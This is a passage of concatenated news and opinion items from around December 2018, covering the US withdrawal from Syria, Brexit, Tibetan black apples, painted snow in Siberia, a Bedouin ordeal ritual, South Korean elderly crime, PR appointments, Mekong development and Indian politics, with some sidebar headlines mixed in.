London-based group with a network of citizen monitors throughout Syria whose work is widely considered credible, said the prisoners come from 31 countries in addition to Syria, and their family members from 41 countries. The S.D.F. was also concerned that it would need all of its fighters to defend against a possible Turkish military invasion, the report said a prospect made more likely by a United States withdrawal. The Syrian Democratic Forces are predominantly made up of Kurdish fighters from the Y.P.G., the Peoples Protection Units, but under American tutelage the group has signed up many Arab fighters opposed to the Islamic State; Arabs now make up about 40 percent of the force, which has up to 75,000 fighters. The group has been trained, advised, financed and supplied by the United States, which has 2,000 troops, mostly Special Operations forces, in Syria allied with the S.D.F. With American support, especially from airstrikes, since 2016 the Kurds have pushed the Islamic State out of most of the territory it held in eastern and northern Syria, reducing the extremists to a pocket of about 20 square miles on the Iraqi border, near the town of Hajin, far from any cities. Fighting continues in that area, although the S.D.F. claimed last week to have ousted the Islamic State from Hajin. Turkey has vowed to attack the S.D.F. because it considers the Y.P.G. as a front for the outlawed Peoples Workers Party, or P.K.K., in Turkey, and last week it said a cross-border invasion to attack the Kurds was only days away. That led to a telephone conversation between Mr. Trump and President Recep Tayyip Erdogan of Turkey last Friday, after which the United States quietly began making preparations for the troop withdrawal. In June 2016, the majority of British citizens voted for their country to leave the EU in a nationwide referendum. The result was unexpected and no one could anticipate what was to follow after. In addition, the process of leaving the EU was unknown and a potential deal between London and Brussels was subject to difficult negotiations and bargaining. Now 2.5 years later, the U.K. seems to be losing more from the agreed divorce in comparison to the EU. While the latter has managed to secure a deal to protect its interests as well as appease fears that Brexit could start a chain reaction of other countries leaving the EU, the U.K., on the other hand, has entered a period of political division, frustration and uncertainty. At the time of writing several options are being discussed. These include an exit of the U.K. from the EU without a deal in March, the approval of the current deal, or of an improved version of it, by Parliament in January, and even a second referendum. The front page of the Sunday Times on December 16, for example, speculated on the possibility of a second referendum as part of a plot organized by aides of Prime Minister Theresa May whose political future remains unclear. Although she recently survived a no-confidence vote, her Conservative Party is divided between supporters of her agreement with the EU and MPs who fiercely oppose it. The only good news for the prime minister is that a recent poll conducted by Opinium Research found that 47 percent of respondents viewed her as someone who is brave and sticks to her principles. Labor Party leader, Jeremy Corbyn, is also facing mounting political challenges. The latest YouGov survey shows that the party will fall to third place should it support the Conservatives in pushing the current deal through. In addition, Labor party voters view the possibility of a second referendum favorably. The survey also found that the majority of respondents (59 percent) prefers that the country stays in the EU while the minority (41 percent) supports a departure on the basis of May's deal. Surveys asking British citizens how they would vote in a potential second referendum have already taken place. Although the reliability of the surveys is contested, the polls indicate that the majority now is prepared to vote for the U.K. to stay in the EU. Meanwhile, organizations such as the Bank of England warn about the dramatic consequences should the U.K. exit the EU without an agreement. These might include a disruption of food and manufacturing supplies and the loss of accreditation for British products to be sold in the EU. The political reality seems grim for May. Her decision to postpone the critical vote on her Brexit deal in Parliament for January, and her subsequent failure to obtain some tangible improvements for it in Brussels, exhibit how difficult it is for her to persuade the majority of British lawmakers. May is sincere when she says she is acting in line with the result of the June 2016 referendum. But seeing that Brexit is now deadlocked and economic turmoil is approaching, the decision for a second referendum could be a rational option. There is not much the U.K. might envy about Greece as far as politics is concerned but under the current circumstances, the ease at which Greek politicians are maneuvering appears to be useful. In the summer of 2015, Greek Prime Minister Alexis Tsipras called a referendum and asked Greek citizens to vote in favor of or against austerity. The majority voted against austerity empowering him to either leave the Eurozone or achieve a better economic accord for Greece. Tsipras failed and was finally forced to sign a new bailout. He did not resign and won the snap election he called in spite of his turnover. Theresa May can carefully study Tsipras' political behavior and the reaction of Greek citizens. The majority of Greeks voted again for Tsipras acknowledging that he passionately fought to achieve better economic terms for Greece but was denied by its creditors. Eventually he kept the country in the Eurozone thereby betraying his pre-election promises and leftist ideology. A similar path will perhaps be in the national interest of the U.K. May negotiated hard to achieve a relatively good and balanced Brexit accord. She reached it and now several British lawmakers within the Conservative party are dissatisfied and are jeopardizing the legal process. A second referendum will certainly avert an exit of the U.K. from the EU without an agreement. May needs the courage to admit she cannot escape from the current political and economic labyrinth and ask British citizens to define the future of their country again. Being more mature, this time they might vote to avert a lose-lose Brexit option and value their Prime Minister's stance. George N. Tzogopoulos is a columnist with China.org.cn. For more information please visit: http://www.china.org.cn/opinion/GeorgeNTzogopoulos.htm Opinion articles reflect the views of their authors, not necessarily those of China.org.cn. Flash The Trump administration announced on Wednesday that it has started returning U.S. troops home from Syria after claiming a victory in the fight against the Islamic State (IS) without revealing any detailed timetable. "We have started returning United States troops home as we transition to the next phase of this campaign," said White House Spokesperson Sarah Sanders in a statement, claiming that America has "defeated the territorial caliphate." Pentagon later echoed the White House claim, saying that the U.S. military has already begun the process of bringing the U.S. forces back while emphasizing the continuity of the campaign. "The Coalition has liberated ISIS (the IS)-held territory, but the campaign against ISIS is not over," the Pentagon spokeswoman Dana White said in a tweet. All U.S. State Department personnel are being evacuated from Syria within 24 hours, reported Reuters after the White House announcement, citing an anonymous administration official. The official also revealed that the time-frame for the troops withdrawal from the war-torn Arab country is expected to be between 60 and 100 days, according to the report. However, a senior Trump administration official, during a background briefing held on Wednesday afternoon, did not directly answer reporters' questions on how the administration intends to withdraw the troops or whether there will a deadline for that. Sanders' statement came about one hour after U.S. President Donald Trump hinted in a tweet about imminent U.S. troop withdrawal from Syria. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," Trump tweeted on Wednesday morning. Earlier on the day, U.S. media cited anonymous officials as saying that the United States is planning a "rapid" and "full" withdrawal of troops from Syria. Currently, there are more than 2,000 U.S. soldiers deployed in Syria. Trump has long voiced his desire to bring the U.S. troops back home when possible, while senior administration officials including Defense Secretary James Mattis have advocated for a longer-term military deployment in Syria to secure a victory against the IS. Meanwhile, the Trump administration's claim about victory against the IS has been questioned. "I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive," tweeted British Defense Minister Tobias Ellwood, following Trump's claim on the social media. Senior Republican Senator Lindsey Graham warned "devastating consequences" for U.S. troops quitting Syria. "An American withdrawal at this time would be a big win for ISIS, Iran, Bashar al Assad of Syria, and Russia," the lawmaker from the state of South Carolina said in a statement on Wednesday. The senator also noted that the withdrawal will "put the Kurds and all those who came to America's aid in destroying ISIS at tremendous risk." The U.S. has been backing the Kurdish-led Syrian Democratic Forces (SDF) for a long time in the battles against the IS, managing to make important achievement in defeating IS in its de facto capital of Raqqa in northern Syria in 2017. However, Turkey has for long been outright about its enmity to the Kurdish forces. Apples are generally red, green, yellow or a combination of the three, but if the right geographical conditions are met, they can apparently grow dark purple, almost black, as well. These rare apples are called Black Diamond and they are currently only grown in the mountains of Tibet. Black Diamond apples are a breed of Hua Niu apples (also known as Chinese Red Delicious) that get their unique dark purple color from the geographical conditions of Nyingchi, in the Tibet Autonomous Region. The 50-hectare orchard set up her by Chinese company Dandong Tianluo Sheng Nong E-Commerce Trade Co., Ltd. has an elevation of 3100 meters above sea level, making it the ideal place to grow these intriguing fruit. The temperature differences between day and night are significant, and the fruits get a lot of sunlight and ultraviolet light which causes their skin to go from the characteristic deep red of Hua Niu apples, to dark purple. Photo: Fresh Plaza Black Diamond apples are purple, gleaming, and have a nice texture. From the outside, the apples almost look like candle wax, and are as beautiful as a diamond. That is how they got their name, Ms. Yu Wenxin, Market Director at Dandong Tianluo Sheng Nong E-Commerce Trade Co., Ltd., told Fresh Plaza. Photo: Fresh Plaza Production at the Nyingchi orchard started in 2015, three years after the trees were planted, but, due to a number of factors, they can only be found in a select number of high-end supermarkets in Beijing, Shanghai, Guangzhou and Shenzhen, and are usually sold in gift packages of 6 to 8 fruits. According to Tencent News, the price of Black Diamond apples is around 50 yuan per fruit. Photo: Fresh Plaza Because the Chinese production is limited, and distribution costs are rather high, the highly priced black diamond apples belong to the high-end segment of the market, Yu Wenxin said. We mostly sell them in gift packages of 6 or 8 apples. Last year, small quantities of our apples were sold to high-end supermarkets in first tier cities in China, where they were received very well. Photo: Fresh Plaza Metadaan reports that due to the low temperatures Black Diamond apple trees require to bear dark fruits, their growth rate is much lower than average. While most apple breeds reach maturity in 2 to 5 years, these trees require no less than 8 years. Furthermore, only about 30% of the orchards yield meet the standards of color compliance to be sold as premium Black Diamond apples. Photo: Fresh Plaza Its issues like the ones mentioned above, coupled with the special geographical conditions required to grow Black Diamond apples that make fruit growers reluctant to adopt this breed. Photo: Fresh Plaza Black Diamond apples are a bit of a mystery, even among experienced apple growers, as apart from the handful of sources listed in this article, there really isnt much information about them online. Some users of the Growing Fruit forums, for example, are convinced these dark purple apples dont really exist, while others claim that the photos circulating online have been enhanced to make the fruits darker than they really are. But until someone gets their hands on a Black Diamond apple, theres really no way to know whos right. You know you have a serious pollution problem when you have to paint the snow white just to hide the soot and ash covering it. Authorities in Mysky, a town in the Siberian region of Kemerovo, have come under fire after covering a childrens snow slide in white paint to make the coal dust from the nearby quarries less noticeable. Russian media started reporting about the painted snow situation in Mysky a couple of days ago, after a local resident posted video evidence on YouTube. In the now viral video, Svetlana Zelenina demonstrates how merely touching the snow slide with her hands leaves her fingers covered in a sticky white substance, which she believes to be water-based paint. She adds that parents whose children had used the slide reported that it left them looking like Indians wearing war paint. You can see the stains It even sticks, Zelenina says in the video, showing the viscous paint on her fingertips. Apparently, city workers tasked with building the snow slide as a winter attraction for kids couldnt find any clean snow anywhere around town, so they decided to simply paint the polluted snow instead, to cover up the soot and ash from the nearby coal plants and quarries. As news of the painted snow spread on the internet, the mayor of Mysky was left with no choice but to apologize to the locals, reprimanding the employees of the Office of the Organization of City Improvement for their creative solution. I apologize to the townspeople whose New Years mood was spoiled by this, mayor Dmitry Ivanov said in a statement issued yesterday. This isnt the first time Russian authorities have resorted to paint to conceal a grim reality. Back in 2011, English Russia posted photos of city workers in Saransk spray-painting patches of dirt around a new hospital green to make it look like there was grass there. The Ayaidah, a Bedouin tribe in north-eastern Egypt is the last to practice the Bishah, an ancient ritual used to determine whether a suspect in a crime is innocent or guilty. They have to lick a red-hot spoon or rod in the presence of tribal authorities, and if their tongue blisters, they are guilty, if its left unscathed, they are innocent. Believed to date back to ancient Mesopotamia, Bishah was used by most Bedouin tribes throughout the centuries, but all except the Ayaidah eventually abandoned it. The ritual is banned in countries like Jordan and Saudi Arabia, but not in Egypt, although religious groups in the African country view it as unislamic. Considered by many the worlds oldest lie detection system (but definitely not the most accurate), Bishah was mostly used in situations where a crime was committed, but there were no witnesses. Suspects had to lick a heated spoon to prove their innocence, and regardless of the result, the verdict could not be contested. The principle behind Bishah is that a lying person is nervous and has a dry mouth, so their tongue will be burned by the hot metal. If they are innocent, they are relaxed, so the saliva on the tongue will protect it against the red-hot metal. However, opponents of the ritual have claimed that that is not always the case, and that the ritual not only causes physical harm to suspects, but also often leads to their condemnation, even though they are in fact innocent. Today, the Bishah is used as a last resort, when parties cannot come to an agreement, or when there is no other proof or witnesses available. Its also used as a way of scaring suspects into confessing their crimes, and bringing unsolved disputes to a close. For example, if the plaintiff accepts compensation from the subjects before the ritual is carried out, there is no need to move on with the Bishah. That is considered another weakness of this lie detection system, as some people will accept the blame if it means not having to lick hot metal to prove their innocence. Bishah is usually a very public affair, with both parties arriving with great fanfare, accompanied by witness. The ritual itself is conducted by a tribe official known as a Mubesha. If a suspect chooses not to show up for Bishah, or refuses to lick the hot metl spoon, he is automatically considered guilty. As you can imagine, undergoing Bishah can result in some nasty tongue burns, but the Ayaidah tribe continue to rely on it in order to resolve legal matters within the tribe. If or when they decide to stop using the ancient lie detection method, the ritual will die off completely. (CNN) In South Korea, teenage gangs aren't necessarily a threat. Increasingly, it's the elderly you need to watch out for. That's according to official statistics, which recorded a 45% increase in the past five years in crimes committed by people age 65 and over. Serious crimes including murder, arson, rape and robbery rose 70%, from about a thousand cases in 2013 to more than 1,800 in 2017. In one case, in November, a man in his 70s was arrested for allegedly assaulting a courier over a late parcel. When police arrived, it emerged the man had forgotten he'd already received the package two days earlier. In August, another septuagenarian allegedly killed two civil servants and injured a neighbor over a water dispute. And in April, a 69-year-old woman reportedly poured pesticide into a fish stew due to be served at a village event. Gray crime wave More than 14% of South Koreans are over 65, making the country an official "aged society" under a United Nations classification. Yet while they are living longer, many cannot support themselves financially as they age. About 60% of elderly Koreans do not qualify for the national pension, which was not introduced until 1988 or made compulsory until the late 1990s, and in 2017 half were living in relative poverty. "With no jobs to allow the elderly to contribute to society, they feel disconnected and this can lead to animosity toward others, depression and antisocial behavior," said Cho Youn-oh, a professor and criminologist at Seoul's Dongguk University. "Isolation and feeling that they have nothing to lose could lead them to lose control and behave recklessly. People with more connections to society through family and jobs tend to have more self control -- that can stop them from (committing crimes)." Senior prisoners Even the country's prisons are struggling to cope. Senior prisoners can bring with them a wide range of health problems including dementia, cancer and kidney issues -- and often must be segregated from the rest of the population. "Not only are they physically weaker than the younger ones, when they're kept with younger people, the chances of them getting into fights are higher due to the generation gap and cultural differences," said Lee Yun-hwi, deputy director of Seoul's Nambu Correctional Institute. CNN visited Nambu's #2 wing, where the prison's elderly population lives -- evidenced by a wheelchair, scales and a device to measure blood pressure in the common area. A typical Tuesday morning on #2 wing starts at 9 a.m. with aggressively cheerful music piped over loudspeakers. About 30 elderly inmates dressed in blue two-piece uniforms and white shoes move to the auditorium for an aerobics class. As a song titled "What's Wrong With My Age" plays, the instructor urges her charges to move from side to side, bending and kicking their legs. Their actions are slow -- but for many of the inmates, who spend most of their time in small cells, it's an important part of the day. "It's good for preventing dementia, and I think it's emotionally healing," said Park, 71, whose full name and crime have been withheld to conceal his identity. Park, who has been in Nambu for two years, believes the spike in elderly crime is the result of a lack of jobs and support for the aged. "The crime rate goes up when people have no money," he said. Another inmate, 70-year-old Noh, wishes South Korean society took better care of the elderly. Noh was born in the late 1940s amid huge chaos and instability in Korea, as the peninsula was liberated from Japanese occupation before plunging into civil war, leaving millions of famiiy members separated and hundreds of thousands orphaned. He said his generation had suffered through some of the hardest times in Korean history -- and yet was left without savings or the support of wider society. Searching for a solution Rejoining society, of course, represents a significant problem for many inmates. About 30% of elderly convicts commit crimes after release -- above the general recidivism rate of 20%. Criminologist Cho said a social support network could make all the difference in preventing future offenses. With South Korea on its way to joining Japan as a "super-aged society" as early as 2025, he said the public must understand the difficult situation that many elderly citizens face so that such services and policies can gain broader support. For now, one of the most secure places for many elderly prisoners may be prison itself. When many inmates are released, Noh said, "they have nowhere to go or sleep. No money for food to eat." While he counted himself among the lucky ones, with a wife and children on the outside to support him, "prisoners who spent 10 to 15 years inside are afraid of being released, because they have nowhere to go." This story was first published on CNN.com, "Inside South Korea's elderly crime wave." You are here: World Flash The Russian Federal Security Service (FSB) said Wednesday that it has killed a group of Islamic State (IS) terrorists in the city of Stavropol in North Caucasus. The armed militants put up a resistance to FSB officers during detention and were shot dead, an FSB statement said, adding that no FSB officers were hurt. It said criminal proceedings were opened over possible preparations for a terrorist attack and illegal possession of firearms. A separate statement from Governor of the Stavropol Region Vladimir Vladimirov said the group consisted of two people who were not residents of the region. Marianne Smith Rasky Partners has brought on Marianne Smith as a vice president. Smith has worked and consulted for several political campaigns at the state and national level, including serving in various roles on presidential campaigns from Michael Dukakis for President to Hillary for America. She has served as DNCC deputy director of podium operations, and was a key member of the transition teams for both the Clinton and Obama presidencies. In addition to her campaign experience, Smith held various appointments in the public and private sector, including eight years of federal service at the White House Offices of Presidential Personnel, the National Archives and the Departments of Commerce and Transportation. She has also worked as a corporate vice president and business consultant to firms including Horne Engineering Services and Enviance, Inc., a cloud-based environmental, health, and safety software company. In her new role, Smith will work on developing new business opportunities in the government and business communities. She will collaborate with the firms government relations team to assist clients in growing their federal business. Valerie Lopez Cision has named Valerie Lopez vice president of global diversity, equity and inclusion. Lopez has been with the company since 2000, most recently as vice president, media research. In her new post, she will lead the creation and delivery of a global diversity and inclusion strategy for Cision. Lopez will play an integral role in expanding the reach of Cision's Employee Resource Groups, which foster an inclusive company culture that embraces authenticity, individual differences and professional development. She is now charged with the launch of a Multicultural Resource Group, which has the goal of raising awareness and embracing the multicultural community within the company. Lisa DeScenza LaVoieHealthScience has named Lisa DeScenza assistant vice president, integrated communications. DeScenza has been with LHS since 2012, most recently as assistant vice president, recruiting, diversity & inclusion projects. Prior to joining LHS, she was director of corporate planning and communications and an investor relations specialist at Ergo Science Corporation. As LHS, DeScenza has held a number of roles within the agency, including supporting clients, business development, marketing, recruiting, human resources, administration and operations. Currently she provides investor and public relations support to build recognition, sales and value for health science innovations. She also assists with the agency's new business endeavors. Natalie Farr Rogers Subject Matter is adding Natalie Farr Rogers to its government relations team. Rogers most recently was chief of staff to Sen. Cory Gardner (R-CO). She previously worked for the House Republican Study Committee, in congressional affairs at the Department of Labor and as a legislative assistant to former Rep. John Shadegg (R-AZ). Rogers brings to Subject Matter significant experience in policy formulation and advocacy. As the new Congress is poised to begin consideration of a range of issues from infrastructure and technology to energy and international issues, Natalie's expertise will be invaluable to our clients, said Subject Matter partner Steve Elmendorf. Allison Lowe Burum Pierpont Communications has named Allison Lowe Burum vice president in its Dallas office. Prior to joining Pierpont, Burum operated her own business, counseling clients across the country. Before that, she was an account supervisor at Edelman where she worked with clients ranging from hospital systems to health and wellness brands to non-profit organizations and leading technology companies. Burum also previously worked in the marketing communications departments at both LifeCare Health Partners and Haynes and Boone, LLP, and HCK2 Partners. An Offaly farmer who has built a very successful business selling his own free range produce and a hedge layer from the county will feature on tonight's Ear to the Ground on RTE in an episode with plenty of Offaly interest. Clive Clarke grew up on a mixed farm in Dunkerrin in Co. Offaly. When he finished school he trained to be a butcher and worked locally, but in 2010 the shop closed and Clive was left with tough choices to make - to take his young family and emigrate, or try to find a way to make a living in a country deep in recession. Clive decided to stay, and looked to the family farm as a life-line. The answer was diversity. Now, eight years later, Clive is running a highly successful farm business selling his own free range turkeys and pigs into the Christmas market at a premium price. Helen Carroll went to visit Clive at Ashgate Farm to learn the secret to his success. Also tonight,Ella McSweeney also travels Offaly to meet Eamonn McLoughlin, one of Ireland's few remaining hedge layers. Winter is the time of year when landowners think about tidying up their hedges. Many do this using hedge cutting machinery, but there is another way - hedge laying, the very old craft of cutting hedgerow stems partly through so that they will bend without breaking and continue to grow. On a cold, bright day in December Ella McSweeney travelled to Tinamuck, Co Offaly to meet Eamonn McLoughlin to learn how to lay a hedge herself. The episode will be broadcast tonight (Thursday, December 20) on RTE One at 8.30pm. It will also be repeated at 1.10pm on Sunday Offaly County Councillor and Renua Party Leader John Leahy has warned the government that rural Ireland will not accept being 'sold down the river to fund Britains divorce from the EU. Cllr Leahy compared the government's management of the situation to a man chasing after a bus which has just closed its door and started to move off. "We need something more substantial to deal with this threat than an evolving document," he stated emphatically. "We need something far more definitive and far clearer lines of communication." He said that in particular, the government must clarify what it means about 'multiple challenges', 'crisis management' and 'possible temporary solutions'. He continued, "they are describing inevitable consequences rather than the actions required to avoid and mitigate those consequences. This, again, is governance on a wing and a prayer. We are gravely concerned over the consequences for rural Ireland. There is a real threat to Irish farming that all the gains from accession will be reversed." Cllr Leahy said that farming should not be left to 'wither and die' behind high tariff walls. He also said that he was concerned that as part of remedying serious security deficits at ports and at the border, the security infrastructure of rural Ireland would be hollowed out. "A no-deal Brexit poses existential challenges across society, macroeconomic challenges, trade Agriculture and fuel security implications for us all. RENUA Ireland warns that rural Ireland will not accept being sold down the river to pay the Brexit Bill. The Ministers of Agriculture, Justice and Rural and Communications must come together now to build confidence and issue a Brexit guarantee for rural Ireland. The situation where Rural Ireland becomes an island in an island must not be allowed escalate or develop by neglect," he concluded. Flash Against verdant croplands, the Hadkhae village in northern Laos has quite a modern look: brand new apartment buildings standing alongside broad roads leading to public facilities including a newly-built school, a hospital, a market, and a bridge over the river. A local resident who called himself Kaisone in the village near the landmark Nam Ou River hydropower station project, said he used to be a welder at the project and had earned enough to buy a land, build a house on it and open his own car repair shop. Hadkhae is an immigrant village built by PowerChina Resources Ltd, with a development mode combining "basic agriculture support plus cooperation," i.e. resettled villagers do the farming while the company supplying seeds, fertilizers, tree saplings and farming implements, and helping diversify production so as to enable the locals to make more money. The farm was unaffected by the construction of the hydropower station. Kaisone said. "When they came, they also brought along advanced cultivation techniques. See how well these corn crops have grown!" The local natural landscape has attracted many foreign backpackers to visit, generating more income for villagers, he added. All the changes were triggered by the Nam Ou River hydropower project. It is a major development scheme being carried out as part of the Lao government's ambitious bid to turn the country into "the storage battery in Southeast Asia." It is also a key project within the framework of the Lancang-Mekong Cooperation (LMC) mechanism. The LMC is a sub-regional cooperation mechanism launched in March 2016 by China, Laos, Cambodia, Myanmar, Thailand and Vietnam, all riparian countries of the river called Mekong or Lancang in the upper reach. As of August this year, the first phase of the PowerChina-contracted project put into operation has delivered more than 3 billion kwh of electricity to the north of Laos. The second phase is planned to complete by 2020 and to supply 12 percent of the power need in Laos. Eco-friendly development A similar project in the Lower Sesan II hydropower project in northeast Cambodia has enormously lifted the living standards in the Kbal Romeas village with new, modern homes, jobs, better roads, a drainage system, clean water and cheap electricity. "The most important thing is that there is a public school and a free-of-charge health center near our house," said Krav Many, a 45-year-old father of three, adding that in the past, a sick man would have to travel 70 km before getting to a health center. The 400-megawatt dam, which is Cambodia's largest, was inaugurated on Monday after almost five years of construction. China's Huaneng Hydrolancang International Energy is its major stakeholder. "This is the biggest and the seventh Chinese-built hydropower dam in Cambodia," Prime Minister Samdech Techo Hun Sen said. "It will contribute to ensuring energy security, lowering the price of electricity, and reducing poverty in Cambodia." A Chinese-owned paper mill based in Xepon, Savannakhet Province of Laos, often impresses visitors with its drainage outlets. In the local branch of China's Shandong Sun Paper Group, the waste water discharge port is so clean that many ducks and fish are living there. "All our emission data have met the strictest environmental requirements," said general manager Chen Wenjun. The mill's cutting-edge hardwood pulp production line has an annual output of 300,000 tons. In addition, the plant uses the bark, wood chips and waste liquid to generate electricity. "There is certain profit, but the construction cost of the power station is much higher. Our initial thinking is about environmental protection, waste utilization and emission reduction," Chen said. Poverty reduction In Myanmar, in Min Pyin village in the Lewe township, Ms Thei Ma is receiving financial and technical assistance from China under a three-year pilot program on rural poverty reduction launched in February. "When I was pregnant, I had to walk a long way to fetch water. Now I'm so happy to see a well being dug here," said Thei Ma, a mother of two, holding her three-month-old baby girl in her arms. Wells and roads are planned as the first-year tasks, to be followed by providing power access and building a public center, a dam and a school. Afterwards, villagers will be able to learn plantation and irrigation techniques at China-funded training programs. "The project is expected to bring about substantial development and improve our standards of living," said Sow Kyaw Myint, head of the Myanmarese team of the local project. Besides Min Pyin, the village of Aye Chan Thar in the Tatkon township is the other beneficiary of the ongoing poverty reduction project. LMC model After attending the 4th Lancang-Mekong Cooperation (LMC) foreign ministers' meeting in the Lao city of Luang Prabang on Monday, Chinese State Councilor and Foreign Minister Wang Yi said that during the past year, the LMC mechanism has achieved many "firsts". They included the first training program for promoting coordination among the six members, implementation of the first LMC-funded projects, and the first Lancang-Mekong forum on water resources cooperation, among others. The LMC countries have also put in place close to 30 major infrastructure projects such as building railways, roads, hydropower stations, and economic development zones, realizing cooperation on production capacity, Wang said. The LMC priority areas have expanded to cover education, media, medicine and youth exchanges, forming a comprehensive cooperation pattern, he added. On the LMC future development, the Chinese foreign minister stressed the consensus reached toward building a Lancang-Mekong economic development belt, further cooperation within the grouping and with other sub-regional blocs, as well as efficiency promotion. Flash China and the U.S. held a "vice-ministerial level" telephone call on trade and other economic issues, according to a statement by China's Ministry of Commerce released on Wednesday. Foreign ministry spokesperson Hua Chunying said Tuesday at a press conference that Chinese and U.S. trade teams are maintaining close communication in accordance with the important consensus reached by the two heads of state during their meeting. Last week, China announced that it will suspend the 25-percent tariffs on 144 U.S.-made vehicles and auto parts, and five-percent tariffs on 67 auto items until March 31, 2019, instead of implementing them on the previously announced date of January 1. The move is a demonstration of the country's implementation of consensus agreed by both sides. Chinese President Xi Jinping and his U.S. counterpart Donald Trump agreed during the G20 summit earlier this month to continue the trade talks between the two countries and stop imposing new tariffs. Hanging of convicts will restore faith of women in law: Nirbhaya's mother Execution of Nirbhayas convicts will be 'real tribute' to her: DCP whose team probed the case Nirbhaya: Convicts lawyer move court again, may lead to delay in execution 1984 anti-Sikh riots case: Hearing in second case against Sajjan Kumar adjourned till Jan 22 India oi-Madhuri Adnal New Delhi, Dec 20: The hearing was adjourned as Sajjan Kumar's main counsel Anil Sharma didn't appear before Patiala House Court on Thursday for cross-examination of witnesses in the case Earlier in the day, Congress leader Sajjan Kumar reached the Patiala House Court on Thursday, 20 December, for hearing in the second case registered by the CBI against him on the recommendation of the Nanavati Commission. He is facing trial on charges of murder and instigating a mob in the 1984 anti-Sikh riots case pertaining to killings in Delhi's Sultanpuri area. Sajjan Kumar resigns from primary membership of Congress; victims not to appeal in the SC Three persons - Kumar, Brahmanand Gupta and Ved Prakash - are facing trial on charges of murder and rioting, in the case pertaining to the killing of Surjit Singh in Sultanpuri. The Delhi High Court had on 17 December, convicted Kumar and sentenced to imprisonment for "remainder of his natural life" in another 1984 anti-Sikh riots case, saying the riots were a "crime against humanity" perpetrated by those who enjoyed "political patronage" and aided by an "indifferent" law enforcement agency. The Cases were filed against Kumar on charges of murder and rioting in relation to the killing of individuals in Delhi's Sultanpuri area in the aftermath of the 1984 riots. The riots occurred after the assassination of the then prime minister Indira Gandhi on 31 October in 1984 by her Sikh bodyguards. (with PTI inputs) For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 11:29 [IST] Winter Session 2021: BJP issues whip for its Rajya Sabha MPs to be present in House on day 1 Be present in Lok Sabha, RS says BJP in 3 line whip to its MPs Calcutta High Court gives green signal to BJP's 'rath yatra' in West Bengal India oi-Chennabasaveshwar P Kolkata, Dec 20: Calcutta High Court on Thursday gave permission for the three yatras of BJP in West Bengal and directed that the administration should ensure that there is no breach of law and order. According to reports, while ruling the court directed that authorities in the respective districts will have to be informed 24 hours in advance about the yatra. It directed the administration to ensure law and order during the yatra events. The Trinamool Congress (TMSC) government told the high court on Wednesday that permission was denied due to intelligence reports expressing fears of a breach of communal harmony. Delhi HC provides interim protection to AI pilot Arvind Kathpalia who failed alcohol test Advocate General Kishore Dutta had submitted a sealed report and said the stated issues in the BJP's brochure publicising the yatra were communally sensitive in nature. Dutta also submitted that the court had limited scope of judicial review in an administrative decision to not allow the yatra on the basis of intelligence inputs and fears of communal tension. UP BJP gears up for crucial 2019 Lok Sabha elections with a slew of measures lined up BJP president Amit Shah was scheduled to flag off three chariots from different parts of the state. The chariots were meant to travel across the state's 42 parliamentary constituencies over the next one-and-a-half months before concluding in Kolkata, where Prime Minister Narendra Modi was likely to address a rally. The 'Rath Yatra' was scheduled to start from Cooch Behar district on December 7, but was stalled, following which the BJP had moved the high court. Save Democracy Rath Yatra The venue besides NH-31, prepared in anticipation of BJP National President Amit Shah's rally to launch 'Save Democracy Rath Yatra', in Cooch Behar, West Bengal, Friday, Dec. 7, 2018. The rally was cancelled after Calcutta High Court refused the BJP permission to hold a 'rath yatra', following the state government's apprehensions of violence. (PTI Photo/Swapan Mahapatra) Kailash Vijayvargiya and Mukul Roy BJP National General Secretary Kailash Vijayvargiya and party leader Mukul Roy discuss after Calcutta High Court refused permission to BJP for Amit Shah's Save Democracy Rath Yatra launch rally, at a hotel in Cooch Behar, Thursday, December 6, 2018. (PTI PHoto/Swapan Mahapatra) West Bengal CM Mamata Banerjee West Bengal Chief Minister and TMC chief Mamata Banerjee talks to media after a meeting of opposition parties to discuss a grand alliance against the Bharatiya Janata Party (BJP) for the 2019 Lok Sabha election, in New Delhi, Monday, Dec. 10, 2018. (PTI Photo/Kamal Singh) BJP chief Amit Shah BJP National President Amit Shah addresses a press conference at the party headquarters in New Delhi, Friday, Dec 14, 2018. (PTI Photo/Arun Sharma) (With PTI inputs) You are here: World Flash Chinese Foreign Ministry confirmed on Thursday that a Canadian citizen, named Sarah McIver, has been taken into "administrative detention" for "working illegally" in China. "The Canadian citizen is on administrative penalty by public security organization for illegal employment," said Hua Chunying, a spokesperson for the ministry, at a regular press conference. China and Canada are holding "smooth" consular communication on the matter, Hua noted. Two other Canadian nationals, Michael John Kovrig and Michael Spavor have been detained in China last week on suspicion of "engaging in activities that endangered China's national security". Pulwama attack: AMU issues advisory asking Kashmiri students not to move out of campus Civilian deaths in Kashmir: AMU students take out candle light march India pti-PTI Aligarh (UP), Dec 20: Students of the Aligarh Muslim University held a candle light peace march to protest against the recent killing of seven civilians in Jammu and Kashmir's Pulwama district. The students, led by leaders of the AMU Students Union, Wednesday evening wore black bands and carried placards which said 'Kashmir is Bleeding', 'No More Hate' and 'Respect Human Rights'. The seven civilians died in south Kashmir's Pulwama district on December 15 when security forces allegedly opened fire at an unruly crowd that tried to storm the site of an encounter in which three militants and an Army man were killed, police had said. The students began their march from the Maulana Azad Library which culminated at the Baab-e-Syed gate. [AMU courts controversy again, shows Indian map without Jammu and Kashmir] Later, president of the AMU Students Union Salman Imtiaz handed over a memorandum to the district authorities, addressed to the President of India, stating that it is now imperative that the situation in the Kashmir Valley should be urgently prevented from deteriorating further. PTI Congress does not want to open its card on alliance in Uttar Pradesh; even ready to go alone India oi-Vinod Kumar Shukla New Delhi, Dec 20: The Congress does not want to open its cards on alliance in Uttar Pradesh so early despite the fact that there is an unease in the party over the growing proximity of the Bahujan Samaj Party (BSP) with the Samajwadi Party (SP) in the state. Senior Congress leaders are avoiding questions on the issue. State Congress president Raj Babbar said that talks about an alliance between these parties are not on the ground because ignoring the voice of the people of the country will be dangerous for them. People of the country want freedom from the present dispensation and the Congress is trying hard to do that with its full strength. UP BJP gears up for crucial 2019 Lok Sabha elections with a slew of measures lined up The decision on alliance will be taken by the national leadership of the Congress but workers are ready to contest elections on their own if need be. A section of the party is getting ready to contest election its own. A former Congress MP said that the Congress was underestimated in 2009 Lok Sabha elections but everyone was astonished to see the result. The way SP-BSP are jointly discouraging the Congress workers by giving statements that will impact the political environment of the state which is inching towards elections. Only the Congress has the strength to dethrone Narendra Modi. Actually, the Congress' prospective candidates are concerned about getting less number of seats in the alliance. State 